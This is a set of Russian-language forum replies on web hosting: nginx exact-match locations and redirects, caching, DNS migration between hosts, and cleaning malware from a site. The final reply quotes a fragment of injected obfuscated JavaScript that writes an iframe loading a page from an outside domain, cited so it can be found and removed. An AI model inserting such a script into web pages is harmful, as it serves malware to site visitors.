по возможности в nginx надо делать точный location, особенно если они все известны.
то есть
location = /xxx.html {
some_stuff_here ;
}
это *очень* быстро.
в php быстрее не будет - надо дёрнуть сам php, дальше php должен сделать какой-то stat() на файл, в зависимости от того, есть он или нет - запустить какую-то логику, передать какой-то header, который потом поедет ещё куда-то дальше.
Это дольше и сложнее.
Берите nginx, а по количеству location не парьтесь вообще :)
Топикстартер про NAT ничего не говорил.
Зачем что-то выдумывать надо?
Вроде ясно все - есть две логические единицы - VPS и дедик.
Надо сделать так, чтобы трафик принимал VPS (см. вопрос про IP), а сами сайты обслуживались и размещались на дедике.
ну и плюс
Не усложняйте ;)
Сделать отдельный
location = /rss.xml
в нём прописать нужный proxy_pass, или откуда и как он там берётся сейчас.
Проследить, чтобы proxy_cache там не было.
В зависимости от ситуации можно еще посмотреть на proxy_cache_bypass или proxy_no_cache.
Покажите конфиг, можно будет точно сказать.
200 строчек рерайтов действительно не страшно.
нарисовали пачку location-ов и вперёд.
Если есть возможность принимать и редиректить nginx-ом без дальнейшей передачи php и/или backend-у -- надо делать именно им.
Ну а если впадлу писать кучу location-ов, или если их затруднительно генерить автоматически - надо брать nginx perl или nginx lua module.
Но, как по мне, если список из 200 урл есть, он явный и конечный - лучше сгенерить конфиг с нужными location для nginx.
Нужно именно статику раздавать? или сайты, скрипты, базы - все дела ?
Они сразу же вступают в силу на НС серверах регистратора, а у ваших посетителей, которые недавно были на сайте, IP уже уселся как в локальном кеше, так и в кешах NS серверов.
Переходный момент всегда будет и есть, моментально развернуть трафик на новое место в силу инертности работы ДНС не получится.
Погасить эту инертность можно путем изменения TTL (поищите у регистратора, возможно он позволяет это делать), и в любом случае быть готовым к тому, что какое-то время (в идеале - этот самый TTL) небольшое количество трафика будет идти и к старому хостеру.
Прекрасно понял.
Что вас смущает?
NS сервера нового хостера, которые отдают IP адреса текущего. Что вы тут видите удивительного?
То, что новый хостер более охотно будет TTL выставлять и вносить необходимые записи?
1. обратитесь к новому хостеру с данным вопросом. Самый простой для нового хостера вариант - настроить НСы для вашего домена с IP старого хостера и с маленьким TTL. Поменяете НСы, перенесёте сайт и как всё будет в порядке на новом месте - просите хостера вернуть IP на нужные.
Плюсы этого варианта - не надо общаться со старым хостером, т.к. он вряд ли заинтересован в переезде, а новый хостер наоборот должен пойти навстречу :)
2. уточните/попросите у нового хостера, возможны лы подключения к серверу баз данных со внешних IP. Если да - копируете сайт к новому хостеру, переносите базу, проверяете, все ли ок - и на старом хостинге меняете в конфиге сервер баз данных, указывая новый адрес. Тут могут быть проблемы, особенно если подключения извне лимитированы и/или сайт и сервер баз данных расположены далеко друг от друга. на старом хостинге при такой схеме сайт ,с большой долей вероятности, будет тупить.
Вообще этот момент с изменением адреса сервера баз данных надо использовать всегда.
3. Разместите форум *дополнительно* на субдомене, если движок позволяет. Ну например у вас forum.com - сделайте, чтобы он был доступен *на номом хостинге* и по адресу newdomain.forum.com. Меняете НСы, на старом хостинге делаете редирект на newdomain.forum.com.
При таком варианте все, кто придет на старый хостинг, будут перенаправлены на newdomain, которого еще нет в кеше. Ну а через несколько дней - такой же редирект, но уже на новом хостере с newdomain.forum.com на forum.com
тут надо не забыть сделать, чтобы newdomain был внесён в днс и на старом хостинге.
В общем варианты есть, все зависит от реалий и отношений со старыми и новыми партнёрами :)
Но изначально, как правильно говорят, идите туда, куда переезжаете, и задавайте им этот вопрос.
Если там толковые парни - они знают и подскажут, как правильно к ним переехать.
Вопросы можно в личку.
Удачи! ;)
В любом случае надо искать, откуда этот iframe берётся. Он или в файлах сайта, или в базе. Возможно еще каким-то посторонним включением генерируется - тогда надо найти, через что именно.
Хотя бы grep-ом пройтись по сайту, вдруг видно будет.
И кеш сайта не забыть очистить :) а то может заразы уже и нет, а в кеше ещё зловред остался.
Обновление и актуализация - очень верно и правильно.
надо удалить как минимум тот код, где iframe собирается - 99.9% что именно через него вирус и приходит.
... document.write('<'+'ifr'+'ame'+' src='+'"http://gdefly.machio.com.ar/htjykhk5.html" ... - вот он.
но это только пол-решения - надо искать, как этот код попал на сайт.
Иначе этот код можно будет удалять 100 раз на день.
